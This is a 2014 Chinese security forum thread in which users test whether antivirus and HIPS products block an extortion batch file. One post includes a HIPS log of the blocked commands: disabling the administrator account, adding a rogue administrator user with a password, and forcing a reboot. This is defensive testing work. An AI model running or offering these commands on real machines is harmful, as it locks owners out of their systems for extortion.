敲竹杠的成本好低啊 一个批处理 搞定 发这个主要看看各大杀毒主防能不能拦截创建用户

vm001

老机子 发表于 2014-3-8 20:03
呵呵，毒霸出我意外！没想到啊？！你系统重启了吗？

重启了啊，毒霸拦截这个还是完全没压力的，包括API方式的

老机子

小柯安全 发表于 2014-3-8 20:13
毒霸拦截是成功的 不过重启没拦截

我刚才在国内区发帖，建议火绒增加这个防御点！对于大多数人，批处理 CMD很少有用的！http://bbs.kafan.cn/thread-1695734-1-1.html

老机子

vm001 发表于 2014-3-8 20:14
重启了啊，毒霸拦截这个还是完全没压力的，包括API方式的

我没记错的话，毛豆 MD好像都可以自定义增加CMD 批处理的调用啊？！其实 数字 金山都应增加对系统突然重启关机的防御啊，不过好像还有一类专门定时开关机的软件，增加排除加白名单就行了！（或许有些难度，比如蓝屏之类的）

小柯安全

老机子 发表于 2014-3-8 20:15
我刚才在国内区发帖，建议火绒增加这个防御点！对于大多数人，批处理 CMD很少有用的！http://bbs.kafan ...

这个拦截最大的问题还是怕误报

老机子

小柯安全 发表于 2014-3-8 20:31
这个拦截最大的问题还是怕误报

那就没办法了？！晕啊，似乎出COMDO和MD以外就没能防御的！？

小柯安全

老机子 发表于 2014-3-8 20:34
那就没办法了？！晕啊，似乎出COMDO和MD以外就没能防御的！？

不知道360拦截不

3801187

2014-3-8 20:47:42        c:\windows\system32\cmd.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序组]｛受限｝系统程序 -> [子应用程序]『禁运』黑名单        命令行: net user administrator /active:no
2014-3-8 20:47:42        c:\windows\system32\cmd.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序组]｛受限｝系统程序 -> [子应用程序]『禁运』黑名单        命令行: net user QQ892807340 1991 /add
2014-3-8 20:47:43        c:\windows\system32\cmd.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序组]｛受限｝系统程序 -> [子应用程序]『禁运』黑名单        命令行: net localgroup administrators QQ892807340 /add
2014-3-8 20:47:43        c:\windows\system32\cmd.exe        创建新进程        c:\windows\system32\shutdown.exe        阻止        [应用程序组]｛受限｝系统程序 -> [子应用程序]c:\windows\system32\shutdown.exe        命令行: shutdown -r -t 0
HIPS完美拦截

老机子

小柯安全 发表于 2014-3-8 20:46
不知道360拦截不

哈哈，怎么样MD拦截 CMD 还有网络！看17楼就是不知道重启了没？！

下页:_儁。

vm001 发表于 2014-3-8 19:58

毒霸重启了么？

275751198

老机子 发表于 2014-3-8 19:35
cao!数字阻止了，系统竟然重启！

重启之后防御是否成功？